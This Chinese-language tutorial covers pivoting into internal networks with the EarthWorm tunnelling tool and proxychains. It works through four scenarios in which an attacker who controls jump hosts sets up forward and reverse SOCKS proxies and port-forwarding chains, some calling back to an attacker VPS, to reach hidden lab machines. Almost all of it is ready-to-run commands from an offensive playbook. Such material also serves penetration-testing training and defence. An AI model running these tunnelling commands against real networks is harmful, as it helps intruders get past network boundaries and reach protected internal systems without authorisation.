一,攻击者连接跳板机,再访问目标机
使用ew进行网络穿透
http://rootkiter.com/EarthWorm/
网络拓扑
攻击者(192.168.1.7)位于外网,无法访问目标网络内部的主机。但是攻击者可以访问目标网络中对外暴露的服务器(192.168.1.8),这台服务器拥有内网IP地址(192.168.56.113),可以访问内网机器。
攻击者以服务器(192.168.1.8)为跳板,攻击内网机器(192.168.56.101)
跳板机操作
攻击者以某种手段控制了跳板机后,将ew_for_linux传到跳板机
mv ew_for_linux ew //文件改名
./ew -s ssocksd -l 8888 //在8888端口上开启socks代理,ssocksd提供正向代理功能
攻击者连接到跳板机的8888端口之后,跳板机根据本机的路由表配置,将访问者的数据包从适当的网口转发出去。转发之后,包的源地址会被修改为这个出口的IP地址。
注意,在linux跳板机上转发数据包,内核的IP转发功能是需要开启的。
攻击者本地运行全局代理
以proxychains为例,说明全局代理的用法
apt install proxychains //安装proxychains
vi /etc/proxychains.conf //配置proxychains
#将最后一行的socks4注释掉,添加下面的行,端口为跳板机上的ew监听的8888:
socks5 192.168.1.8 8888
#保存退出
telnet测试
proxychains telnet 192.168.56.101 //通过socks代理访问目标机
在目标机抓包,可以看到访问者的地址是跳板机的地址(192.168.56.113),也就是说,socks代理的工作是正常的。
二,攻击者连接跳板机,跳板机连接到内网跳板,内网跳板连接内网目标主机
使用ew进行网络穿透
http://rootkiter.com/EarthWorm/
网络拓扑
攻击者(192.168.1.7)位于外网,无法访问目标网络内部的主机。但是攻击者可以访问目标网络中对外暴露的服务器(192.168.1.8),该服务器有内网IP地址(192.168.56.113)。在目标网络中还有一台机器是被控制的,IP地址为192.168.56.107,跳板机可以发起到这台内网跳板的连接。然后访问目标机(192.168.56.101)
攻击者首先连接到跳板机,再连接到内网跳板,最后访问内网目标机器(192.168.56.101)。
这里跳板机主动连接内网跳板机。
内网跳板机操作
./ew -s ssocksd -l 8888 //利用ssocksd方式启动8888端口的socks代理
跳板机操作
./ew -s lcx_tran -l 1080 -f 192.168.56.107 -g 8888 //将本机1080端口收到的socks代理请求转交给内网跳板
攻击者操作
通过访问跳板机的1080端口来使用内网跳板提供的socks5代理。
以proxychains为例,说明全局代理的用法
apt install proxychains //安装proxychains
vi /etc/proxychains.conf //配置proxychains
#将最后一行的socks4注释掉,添加下面的行,端口为VPS上的ew监听的1080
socks5 192.168.1.8 1080
#保存退出
telnet测试
proxychains telnet 192.168.56.101 //通过socks代理访问目标机(192.168.56.101)
三,攻击者连接跳板机,内网跳板反弹连接到跳板机,内网跳板连接内网目标主机
使用ew进行网络穿透
http://rootkiter.com/EarthWorm/
网络拓扑
攻击者(192.168.1.7)位于外网,无法访问目标网络内部的主机。但是攻击者可以访问目标网络中对外暴露的服务器(192.168.1.8)。在目标网络中还有一台机器B是被控制的,IP地址10.0.2.15,这台机器可以反弹连接到跳板机A。
攻击者首先连接到跳板机A,再连接到内网跳板B,最后访问内网的目标机器(10.0.2.9)。
跳板机A上的操作
./ew -s rcsocks -l 1080 -e 8888 //添加转发隧道,将1080端口收到的代理请求转发给反连8888端口的主机
内网跳板B操作
./ew -s rssocks -d 192.168.1.8 -e 8888 //内网跳板反弹连接到跳板机的8888端口
攻击者操作
通过访问跳板机A的1080端口来使用主机B提供的socks5代理
以proxychains为例,说明全局代理的用法
apt install proxychains //安装proxychains
vi /etc/proxychains.conf //配置proxychains
#将最后一行的socks4注释掉,添加下面的行,端口为VPS上的ew监听的1080
socks5 192.168.1.8 1080
#保存退出
telnet测试
proxychains telnet 10.0.2.9 //通过socks代理访问目标机(10.0.2.9)
四,攻击者连接VPS,内网跳板A反弹连接VPS,A连接内网跳板B,B访问内网目标主机
使用ew进行网络穿透
http://rootkiter.com/EarthWorm/
网络拓扑
攻击者有自己的电脑(192.168.1.7)和一台VPS(192.168.1.8),并且控制了目标网络中的两台主机。其中主机A(192.168.56.114)无公网IP,无法访问内网的目标机,但是可以连接公网。另一台主机B(192.168.56.107)可以访问目标机(192.168.56.101),但是无法连接公网。主机A和主机B之间路由可达。
攻击者连接VPS,内网跳板A反弹连接VPS,A连接内网跳板B,B访问内网目标主机。
VPS上的操作
./ew -s lcx_listen -l 1080 -e 8888 //创建转发隧道,将本地1080端口收到的代理请求转发给连接自己8888端口的主机
主机B上的操作
ew -s ssocksd -l 9999 //以ssocksd方式启动9999端口的socks代理
主机A上的操作
ew -s lcx_slave -d 192.168.1.8 -e 8888 -f 192.168.56.107 -g 9999 //通过工具的lcx_slave方式,打通VPS的8888端口和主机B的9999端口之间的通讯隧道
攻击者操作
通过访问VPS的1080端口来使用主机B提供的socks5代理
以proxychains为例,说明全局代理的用法
apt install proxychains //安装proxychains
vi /etc/proxychains.conf //配置proxychains
#将最后一行的socks4注释掉,添加下面的行,端口为VPS上的ew监听的1080
socks5 192.168.1.8 1080
#保存退出
telnet测试
proxychains telnet 192.168.56.101 //通过socks代理访问目标机(192.168.56.101)
总结
earthworm提供六种链路状态,可通过-s参数进行选定,分别为:
ssocksd、rcsocks、rssocks //提供socks代理功能
lcx_slave lcx_tran lcx_listen //提供端口转发功能